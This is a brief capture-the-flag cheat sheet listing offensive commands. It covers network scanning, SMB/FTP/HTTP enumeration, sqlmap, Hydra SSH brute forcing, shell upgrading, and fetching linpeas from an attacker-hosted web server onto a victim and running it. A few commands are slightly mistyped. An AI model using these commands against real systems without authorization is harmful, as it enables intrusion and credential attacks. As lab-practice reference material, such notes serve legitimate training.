ctf setup

Last updated 2 years ago

SCANNING AND ENUMERATION

Nmap -T4 -n <IP>
rustscan
Nmap -sVC -A <IP>
Nmap -p -T4 -n <IP>
1. Nping <IP>
2. Unicornscan <IP>
3. Netdiscover -r <IP>
4. hping3
5. Masscan <IP> -p<PORTS>
Enum4linux <IP>
SNMP
1. Onesixtyone -c communityfile.txt <IP>
2. Nmap <IP> -Pn -sU -p 161 -script=smp-brute
3. Snmpwalk -c community -vSNMPVersion target mibvalue
Http
1. Robots.txt
2. Admin.php
3. Login.php
4. Gobuster -u <IP> -w /usr/share/wordlists
5. Wfuzz -w wordlist http://<IP>/FUZZ
6. Dirb <IP>
7. Sqlmap -u <IP>
SMB
1. Nbtscan <IP>
2. Smbclient -L //<IP>
3. 1. Smbclient //mount/share
4. Nmblookup -A <IP>
Ftp
1. ***LOUD*** wget -r ftp://anonymous:@10.10.10.152
2. Us: anonymous pw: anonymous
Ssh
Brute forcing
1. Hydra -l admin -P pass.txt <IP> -r 4 ssh
Upgrading a dummy shell
On Victim see what version of python is installed find / -name python* 2>/dev/null
python# -C ‘import pty; pty.spawn(“/bin/bash”)’
Ctrl Z
Stty raw-echo;fg

Linux Privilege Escalation

on box (script enumeration)

Upload Linpeas to target into a writable directory ex:\tmp, \home\user
1. On Kali start your own web server where linpeas resides. Sudo python -m http.server 80
2. From victim wget http://Kali-IP/linpeas.sh
3. On Victim make linpeas executable chmod +x linpeas.sh
4. ./linpeas.sh

Last updated 2 years ago